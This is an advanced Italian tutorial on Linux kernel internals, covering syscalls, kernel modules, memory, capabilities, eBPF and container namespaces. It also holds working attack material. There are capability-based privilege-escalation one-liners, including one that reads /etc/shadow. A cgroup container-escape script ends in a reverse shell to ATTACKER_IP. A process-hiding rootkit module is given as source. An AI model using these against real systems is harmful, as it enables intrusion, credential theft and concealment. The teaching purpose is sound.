Linux kernel
12 min readLinux kernel e internals
Internals del kernel, syscall, moduli, privilege escalation e basi di kernel exploitation.
kernel
linux
privilege-escalation
Livello: Avanzato
Obiettivo: Comprendere il funzionamento interno del kernel Linux, le syscall, i moduli, le tecniche di privilege escalation e i fondamenti di kernel exploitation.
1. Architettura del Kernel Linux
1.1 Spazio utente vs Spazio kernel
┌─────────────────────────────────────────┐
│ USER SPACE │
│ ┌─────────┐ ┌──────────┐ ┌─────────┐ │
│ │ Bash │ │ Firefox │ │ Python │ │
│ └────┬────┘ └────┬─────┘ └────┬────┘ │
│ │ │ │ │
│ glibc / libc: wrapper syscall │
└───────┼───────────┼─────────────┼───────┘
│ syscall interface (int 0x80 / syscall)
┌───────┼───────────┼─────────────┼───────┐
│ KERNEL SPACE │
│ ┌──────────────────────────────────┐ │
│ │ Syscall Handler │ │
│ ├──────────────────────────────────┤ │
│ │ Process Management │ Memory Mgmt│ │
│ │ File Systems │ Networking │ │
│ │ Device Drivers │ IPC │ │
│ └──────────────────────────────────┘ │
│ ┌──────────────────────────────────┐ │
│ │ Hardware Abstraction Layer (HAL) │ │
└──┴──────────────────────────────────┴───┘
│
┌───────┴──────────────────────────────────┐
│ HARDWARE │
│ CPU │ RAM │ Disco │ Rete │
└──────────────────────────────────────────┘
Ring levels:
- Ring 0 (Kernel): accesso totale a tutto l'hardware
- Ring 3 (User): accesso limitato, passa attraverso le syscall
1.2 Strutture dati fondamentali del kernel
// task_struct — rappresenta un processo/thread
struct task_struct {
volatile long state; // -1 unrunnable, 0 runnable, >0 stopped
pid_t pid;
pid_t tgid; // thread group ID (= pid per processi principali)
struct task_struct *parent;
struct list_head children;
struct mm_struct *mm; // mappatura memoria (NULL per kernel threads)
struct cred *cred; // credenziali (uid, gid, capabilities)
char comm[TASK_COMM_LEN]; // nome processo
// ...
};
// cred — credenziali di sicurezza
struct cred {
uid_t uid, gid; // user/group ID reali
uid_t euid, egid; // effective (usati per permessi)
uid_t suid, sgid; // saved
kernel_cap_t cap_inheritable;
kernel_cap_t cap_permitted;
kernel_cap_t cap_effective; // capabilities attive
// ...
};
2. Syscall — L'interfaccia User-Kernel
2.1 Come funzionano le syscall
User Space: Kernel Space:
write(fd, buf, len) → sys_write()
│ │
│ push syscall number │
│ (rax = __NR_write = 1) │
│ syscall instruction ────┤→ syscall_handler
│ │ → verifica parametri
│ │ → copia da user space
│ ← ritorna risultato │ → esegue operazione
// Esempio: syscall write in assembly x86-64
asm volatile (
"movq $1, %%rax\n" // __NR_write = 1
"movq $1, %%rdi\n" // fd = stdout
"movq %0, %%rsi\n" // buf
"movq %1, %%rdx\n" // count
"syscall\n"
: : "r"(buf), "r"(len)
: "rax", "rdi", "rsi", "rdx"
);
# Vedere le syscall che fa un programma
strace -c ls # riepilogo con conteggi
strace ls 2>&1 | head -30
# Numbering delle syscall
cat /usr/include/asm/unistd_64.h | grep __NR_write
# → #define __NR_write 1
# Lista completa
ausyscall --dump 2>/dev/null | head -50
2.2 Syscall importanti per la sicurezza
# Monitoraggio syscall con auditd
sudo apt install auditd
sudo auditctl -a always,exit -F arch=b64 -S execve -k exec_calls
sudo auditctl -a always,exit -F arch=b64 -S openat -k file_opens
sudo auditctl -a always,exit -F arch=b64 -S connect -k network_connect
sudo ausearch -k exec_calls | head -50
sudo aureport --executable --summary
# seccomp — filtra syscall permesse (sandbox)
# Usato da Docker, browsers, systemd
# Vedere regole seccomp di un processo
cat /proc/$(pidof firefox)/status | grep Seccomp
# 0=disable, 1=strict, 2=filter
3. Moduli del Kernel (LKM)
3.1 Struttura di un modulo kernel
// hello_module.c — modulo kernel minimo
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Analista");
MODULE_DESCRIPTION("Modulo di esempio");
MODULE_VERSION("1.0");
static int __init hello_init(void) {
printk(KERN_INFO "Hello, Kernel!\n");
return 0;
}
static void __exit hello_exit(void) {
printk(KERN_INFO "Goodbye, Kernel!\n");
}
module_init(hello_init);
module_exit(hello_exit);
# Makefile per compilare il modulo
cat << 'EOF' > Makefile
obj-m += hello_module.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF
make
sudo insmod hello_module.ko # carica modulo
dmesg | tail -5 # vedi output printk
sudo rmmod hello_module # rimuovi modulo
# Gestione moduli
lsmod # moduli caricati
modinfo hello_module.ko # info dettagliate
sudo modprobe module_name # carica con dipendenze
cat /proc/modules # lista raw
3.2 Modulo con /proc filesystem
// proc_module.c — crea /proc/myinfo
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
MODULE_LICENSE("GPL");
static struct proc_dir_entry *proc_entry;
static ssize_t proc_read(struct file *file, char __user *buf,
size_t count, loff_t *pos) {
char message[] = "Ciao dal kernel!\n";
if (*pos > 0) return 0;
if (copy_to_user(buf, message, sizeof(message))) return -EFAULT;
*pos += sizeof(message);
return sizeof(message);
}
static const struct proc_ops fops = {
.proc_read = proc_read,
};
static int __init proc_init(void) {
proc_entry = proc_create("myinfo", 0444, NULL, &fops);
if (!proc_entry) return -ENOMEM;
printk(KERN_INFO "proc_module: /proc/myinfo creato\n");
return 0;
}
static void __exit proc_exit(void) {
proc_remove(proc_entry);
}
module_init(proc_init);
module_exit(proc_exit);
4. Gestione della Memoria
4.1 Virtual Memory Layout (x86-64 Linux)
Indirizzo virtuale a 64-bit (canonico: 48 bit usati)
0xFFFFFFFFFFFFFFFF ┐
│ Kernel Space (solo Ring 0)
0xFFFF800000000000 ┘
(gap non mappato — causa Page Fault se acceduto)
0x00007FFFFFFFFFFF ┐
│ Stack (cresce verso il basso)
│ ...
│ mmap / librerie dinamiche
│ Heap (cresce verso l'alto)
│ BSS (var globali non inizializzate)
│ Data (var globali inizializzate)
0x0000000000400000 │ Text (codice eseguibile)
0x0000000000000000 ┘
4.2 Allocazione memoria kernel
// Allocazione in kernel space
#include <linux/slab.h>
#include <linux/vmalloc.h>
// kmalloc — allocazione contigua in memoria fisica (< 4MB tipicamente)
void *buf = kmalloc(1024, GFP_KERNEL); // GFP_KERNEL: può dormire
void *buf = kmalloc(1024, GFP_ATOMIC); // GFP_ATOMIC: non può dormire (interrupt)
kfree(buf);
// vmalloc — allocazione virtualmente contigua (fisica non necessariamente)
void *buf = vmalloc(1024 * 1024); // 1 MB
vfree(buf);
// get_free_pages — allocazione pagine intere
unsigned long page = get_zeroed_page(GFP_KERNEL);
free_page(page);
4.3 Analisi memoria kernel
# /proc/meminfo — panoramica memoria
cat /proc/meminfo
# Pagine del kernel
cat /proc/buddyinfo # allocatore buddy (gestione pagine libere)
# Slab allocator
cat /proc/slabinfo | head -30
slabtop # tool interattivo
# Memory map di un processo
cat /proc/$(pidof firefox)/maps
cat /proc/$(pidof firefox)/smaps # dettagliato
# Memoria virtuale del kernel
cat /proc/iomem # mappa I/O fisica
cat /proc/kallsyms # tutti i simboli del kernel (richiede root)
5. Linux Capabilities
Le capabilities suddividono i privilegi di root in unità più granulari:
# Lista capabilities
man capabilities
# Capabilities importanti:
# CAP_NET_ADMIN → config rete, intercettazione pacchetti
# CAP_NET_RAW → socket raw (ping, tcpdump)
# CAP_SYS_MODULE → caricare moduli kernel
# CAP_SYS_PTRACE → debuggare processi altrui
# CAP_DAC_READ_SEARCH → leggere file ignorando permessi
# CAP_SETUID → cambiare UID (privilege escalation!)
# CAP_SYS_ADMIN → quasi tutto (mounting, cgroups, etc.)
# Vedere capabilities di un processo
cat /proc/$(pidof docker)/status | grep Cap
# CapInh, CapPrm, CapEff, CapBnd, CapAmb
# Decodificare
capsh --decode=0000003fffffffff
# Tool getcap/setcap
getcap -r / 2>/dev/null # trova binari con capabilities
# Output: /usr/bin/ping cap_net_raw=ep
# Privilege escalation via capabilities
# Se python3 ha cap_setuid:
# → python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# Se tar ha cap_dac_read_search:
# → tar czf /tmp/shadow.tar.gz /etc/shadow
# GTFOBins: https://gtfobins.github.io/ (filtra per "capabilities")
6. eBPF — Extended Berkeley Packet Filter
eBPF è una tecnologia rivoluzionaria: permette di eseguire programmi in kernel space in modo sicuro, senza scrivere moduli.
# Installazione tool eBPF
sudo apt install bpfcc-tools linux-headers-$(uname -r)
# execsnoop — traccia ogni esecuzione di processo
sudo execsnoop-bpfcc
# opensnoop — ogni file aperto
sudo opensnoop-bpfcc
# tcpconnect — ogni connessione TCP
sudo tcpconnect-bpfcc
# biolatency — latenza I/O disco
sudo biolatency-bpfcc
# trace — tracciamento personalizzato
sudo trace-bpfcc 'do_sys_open "%s", arg2' # ogni open() con path
# Programma eBPF in Python con BCC
from bcc import BPF
prog = """
#include <uapi/linux/ptrace.h>
BPF_HASH(start, u32);
int kprobe__sys_clone(struct pt_regs *ctx) {
u32 pid = bpf_get_current_pid_tgid();
bpf_trace_printk("fork() da PID %d\\n", pid);
return 0;
}
"""
b = BPF(text=prog)
print("Monitoring fork/clone syscall... (Ctrl-C per fermare)")
b.trace_print()
7. Kernel Exploitation — Concetti Base
IMPORTANTE: Queste tecniche sono presentate a scopo educativo. Testale SOLO su VM dedicate e sistemi di cui sei proprietario.
7.1 Privilege Escalation via kernel exploit
# Trovare vulnerabilità del kernel installato
uname -r
searchsploit linux kernel $(uname -r)
searchsploit linux local privilege escalation 4.15
# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
# CVE importanti nella storia:
# CVE-2016-5195 (Dirty COW) — race condition in copy-on-write
# CVE-2021-3156 (Sudo Baron Samedit) — buffer overflow sudo
# CVE-2021-4034 (PwnKit) — pkexec privilege escalation
# CVE-2022-0847 (Dirty Pipe) — scrittura in file read-only
7.2 Dirty COW (CVE-2016-5195)
// Principio: race condition in copy-on-write
// Permette di scrivere in file read-only tramite /proc/self/mem
// Esempio: iniettare root in /etc/passwd (file read-only)
// Il thread 1 scrive in /proc/self/mem
// Il thread 2 chiama madvise(MADV_DONTNEED)
// Race condition → il thread 1 scrive nell'originale, non nella copia
// Compilazione e test su VM vulnerabile (kernel < 4.8.3):
gcc -pthread dirty.c -o dirty
./dirty
# → modifica /etc/passwd, aggiunge utente root
7.3 Dirty Pipe (CVE-2022-0847)
// Principio: bug nell'inizializzazione dei flag delle pipe
// Permette a utenti non privilegiati di sovrascrivere file read-only
// Applicabile su kernel 5.8 - 5.16.10
// Esempio: sovrascrivere /etc/passwd o /sbin/su
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
// ... (vedi PoC completo su GitHub)
7.4 Protezioni kernel moderne
# KASLR — Kernel Address Space Layout Randomization
# Randomizza indirizzi del kernel ad ogni boot
cat /proc/kallsyms | grep " T " | head # mostra indirizzi (richiede root)
# Con KASLR: indirizzi diversi ad ogni boot
# SMEP — Supervisor Mode Execution Prevention
# Il kernel non può eseguire codice in user space
dmesg | grep -i smep
# SMAP — Supervisor Mode Access Prevention
# Il kernel non può accedere direttamente a memoria user space
dmesg | grep -i smap
# Stack Canaries
# Valore random tra variabili locali e return address
# → overflow rilevato prima del ritorno dalla funzione
# Verifica protezioni sistema
cat /proc/sys/kernel/dmesg_restrict # 1 = dmesg richiede root
cat /proc/sys/kernel/kptr_restrict # 1 = nasconde indirizzi kernel
cat /proc/sys/kernel/randomize_va_space # 2 = ASLR completo
8. Namespaces e Cgroups (Base dei Container)
8.1 Namespaces
# Tipi di namespace Linux
# PID — ogni container vede solo i propri processi
# NET — interfacce di rete separate
# MNT — filesystem separato
# UTS — hostname separato
# USER — UID mapping (root nel container ≠ root sull'host)
# IPC — IPC separato
# Vedere i namespace di un processo
ls -la /proc/$(pidof docker)/ns/
# Creare namespace manualmente
sudo unshare --pid --fork --mount-proc bash
# → ora sei in una shell con PID namespace separato
ps aux # vedi solo i tuoi processi!
# Entrare nel namespace di un altro processo (come fa docker exec)
sudo nsenter -t $(pidof apache2) -m -u -i -n -p bash
8.2 Container Escape
# Rilevare se sei in un container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
ls -la /run/.containerenv # podman
# Escape da container privilegiato
# Se docker run --privileged:
# → accesso a /dev → può montare il disco dell'host
# Metodo 1: mount disco host
fdisk -l # trova disco host
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host # ora sei root sull'host!
# Metodo 2: cgroup v1 notify_on_release exploit
# In container privilegiato:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
9. Analisi del Kernel in Live
# Informazioni kernel
uname -a
cat /proc/version
cat /proc/cmdline # parametri di boot
# Strutture kernel esposte via /proc e /sys
cat /proc/interrupts # gestori interrupt hardware
cat /proc/net/tcp # connessioni TCP (formato hex)
cat /proc/net/tcp6 # connessioni IPv6
cat /proc/net/route # tabella di routing
cat /proc/net/arp # cache ARP
# Convertire /proc/net/tcp in leggibile
python3 << 'EOF'
import socket, struct
with open('/proc/net/tcp') as f:
for line in f.readlines()[1:]:
fields = line.split()
local = fields[1]
remote = fields[2]
state = int(fields[3], 16)
ip_hex, port_hex = local.split(':')
ip = socket.inet_ntoa(struct.pack('<L', int(ip_hex, 16)))
port = int(port_hex, 16)
states = {1:'ESTABLISHED',2:'SYN_SENT',10:'LISTEN',6:'TIME_WAIT'}
print(f"{ip}:{port} [{states.get(state, state)}]")
EOF
# Moduli caricati con info complete
cat /proc/modules | awk '{print $1}' | while read mod; do
modinfo $mod 2>/dev/null | grep -E "filename|description"
done
10. Lab Pratico — Scrittura LKM Rootkit (Educativo)
// rootkit_edu.c — nasconde un processo dalla pslist (SOLO A SCOPO EDUCATIVO)
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/sched.h>
MODULE_LICENSE("GPL");
static int target_pid = 0;
module_param(target_pid, int, 0);
static struct task_struct *hidden_task = NULL;
static int __init rootkit_init(void) {
struct task_struct *task;
// Trovare il processo con il PID target
for_each_process(task) {
if (task->pid == target_pid) {
hidden_task = task;
break;
}
}
if (!hidden_task) {
printk(KERN_ERR "PID %d non trovato\n", target_pid);
return -ESRCH;
}
// Rimuovere dalla lista dei task (nasconde da ps)
list_del_init(&hidden_task->tasks);
printk(KERN_INFO "Processo PID %d nascosto\n", target_pid);
return 0;
}
static void __exit rootkit_exit(void) {
if (hidden_task) {
// Ripristinare nella lista
list_add(&hidden_task->tasks, &init_task.tasks);
printk(KERN_INFO "Processo PID %d ripristinato\n", target_pid);
}
}
module_init(rootkit_init);
module_exit(rootkit_exit);
# Compilazione e test su VM ISOLATA
make
sudo insmod rootkit_edu.ko target_pid=1234
ps aux | grep 1234 # non appare!
sudo rmmod rootkit_edu # ripristina
ps aux | grep 1234 # riappare!
Quiz di autoverifica
- Qual è la differenza tra Ring 0 e Ring 3? Come avviene la transizione tramite syscall?
- Cosa sono le Linux Capabilities? Come possono essere usate per privilege escalation?
- Spiega la vulnerabilità Dirty COW. Cosa causa la race condition?
- Come si può rilevare se si è in un container Docker?
- Cosa fa
list_del_init(&task->tasks)nel kernel Linux e perché un rootkit lo userebbe?
Precedente: 05 — Malware & RE
Torna all'indice: README Principale